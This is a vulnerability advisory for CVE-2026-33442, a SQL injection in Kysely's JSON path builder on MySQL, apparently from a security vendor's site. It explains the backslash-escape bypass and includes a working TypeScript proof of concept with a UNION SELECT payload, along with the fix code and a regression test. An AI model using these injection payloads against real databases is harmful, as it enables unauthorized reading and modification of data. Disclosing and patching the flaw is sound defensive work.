CVE-2026-33442

The sanitizeStringLiteral method in Kysely's query compiler escapes single quotes (' → '') but does not escape backslashes. On MySQL with the default BACKSLASH_ESCAPES SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.

Details

When a user calls .key(value) on a JSON path builder, the value flows through:

1. JSONPathBuilder.key(key) at src/query-builder/json-path-builder.ts:166 stores the key as a JSONPathLegNode with type 'Member'.

2. During compilation, DefaultQueryCompiler.visitJSONPath() at src/query-compiler/default-query-compiler.ts:1609 wraps the full path in single quotes ('$...').

3. DefaultQueryCompiler.visitJSONPathLeg() at src/query-compiler/default-query-compiler.ts:1623 calls sanitizeStringLiteral(node.value) for string values (line 1630).

4. sanitizeStringLiteral() at src/query-compiler/default-query-compiler.ts:1819-1821 only doubles single quotes:

// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g

// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

The MysqlQueryCompiler does not override sanitizeStringLiteral, it only overrides sanitizeIdentifier for backtick escaping.

The bypass mechanism:

In MySQL's default BACKSLASH_ESCAPES mode, \' inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input \' OR 1=1 --:

1. sanitizeStringLiteral sees the ' and doubles it: \'' OR 1=1 --
2. The full compiled path becomes: '$.\'' OR 1=1 --'
3. MySQL parses \' as an escaped quote character (consuming the first ' of the doubled pair)
4. The second ' now terminates the string literal
5. OR 1=1 -- is parsed as SQL, achieving injection

The existing test at test/node/src/sql-injection.test.ts:61-83 only tests single-quote injection (first' as ...), which the '' doubling correctly prevents. It does not test the backslash bypass vector.

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

const db = new Kysely({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      user: 'root',
      password: 'password',
      database: 'testdb',
    }),
  }),
})

// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  data JSON
)`.execute(db)

await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)

// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never

const query = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key(userInput as never).as('result')
  )

console.log(query.compile().sql)
// Produces: select `data`->'$.\\'' OR 1=1) UNION SELECT data FROM users -- ' as `result` from `users`
// MySQL interprets \' as escaped quote, breaking out of the string literal

const results = await query.execute()
console.log(results) // Returns injected query results

Simplified verification of the bypass mechanics:

const { Kysely, MysqlDialect } = require('kysely')

// Even without executing, the compiled SQL demonstrates the vulnerability:
const compiled = db
  .selectFrom('users')
  .select((eb) =>
    eb.ref('data', '->$').key("\\' OR 1=1 --" as never).as('x')
  )
  .compile()

console.log(compiled.sql)
// select `data`->'$.\'' OR 1=1 --' as `x` from `users`
//                  ^^ MySQL sees this as escaped quote
//                    ^ This quote now terminates the string
//                      ^^^^^^^^^^^ Injected SQL

Note: PostgreSQL is unaffected because standard_conforming_strings=on (default since 9.1) disables backslash escape interpretation. SQLite does not interpret backslash escapes in string literals. Only MySQL (and MariaDB) with the default BACKSLASH_ESCAPES mode are vulnerable.

• SQL Injection: An attacker who can control values passed to the .key() JSON path builder API can inject arbitrary SQL into queries executed against MySQL databases.
• Data Exfiltration: Using UNION-based injection, an attacker can read arbitrary data from any table accessible to the database user.
• Data Modification/Deletion: If the application's database user has write permissions, stacked queries (when enabled via multipleStatements: true) or subquery-based injection can modify or delete data.
• Full Database Compromise: Depending on MySQL user privileges, the attacker could potentially execute administrative operations.
• Scope: Any application using Kysely with MySQL that passes user-controlled input to .key(), .at(), or other JSON path builder methods. While this is a specific API usage pattern (justifying AC:H), it is realistic in applications with dynamic JSON schema access or user-configurable JSON field selection.

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-33442 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.28.14); upgrading removes the vulnerable code path.

Kodem intelligence

Escape backslashes in addition to single quotes in sanitizeStringLiteral. This neutralizes the bypass in MySQL's BACKSLASH_ESCAPES mode:

// src/query-compiler/default-query-compiler.ts

// Change the regex to also match backslashes:
const LIT_WRAP_REGEX = /['\\]/g

// Update sanitizeStringLiteral:
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, (match) => match === '\\' ? '\\\\' : "''")
}

With this fix, the input \' OR 1=1 -- becomes \\'' OR 1=1 --, where MySQL parses \\ as a literal backslash, '' as an escaped quote, and the string literal is never terminated.

Alternatively, the MySQL-specific compiler could override sanitizeStringLiteral to handle backslash escaping only for MySQL, keeping the base implementation unchanged for PostgreSQL and SQLite which don't need it:

// src/dialect/mysql/mysql-query-compiler.ts
protected override sanitizeStringLiteral(value: string): string {
  return value.replace(/['\\]/g, (match) => match === '\\' ? '\\\\' : "''")
}

A corresponding test should be added to test/node/src/sql-injection.test.ts:

it('should not allow SQL injection via backslash escape in $.key JSON paths', async () => {
  const injection = `\\' OR 1=1 -- ` as never

  const query = ctx.db
    .selectFrom('person')
    .select((eb) => eb.ref('first_name', '->$').key(injection).as('x'))

  await ctx.db.executeQuery(query)
  await assertDidNotDropTable(ctx, 'person')
})

1. What is CVE-2026-33442? CVE-2026-33442 is a high-severity SQL injection vulnerability in kysely (npm), affecting versions >= 0.28.12, <= 0.28.13. It is fixed in 0.28.14. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2026-33442? CVE-2026-33442 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of kysely are affected by CVE-2026-33442? kysely (npm) versions >= 0.28.12, <= 0.28.13 is affected.
4. Is there a fix for CVE-2026-33442? Yes. CVE-2026-33442 is fixed in 0.28.14. Upgrade to this version or later.
5. Is CVE-2026-33442 exploitable, and should I be worried? Whether CVE-2026-33442 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33442 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33442? Upgrade kysely to 0.28.14 or later.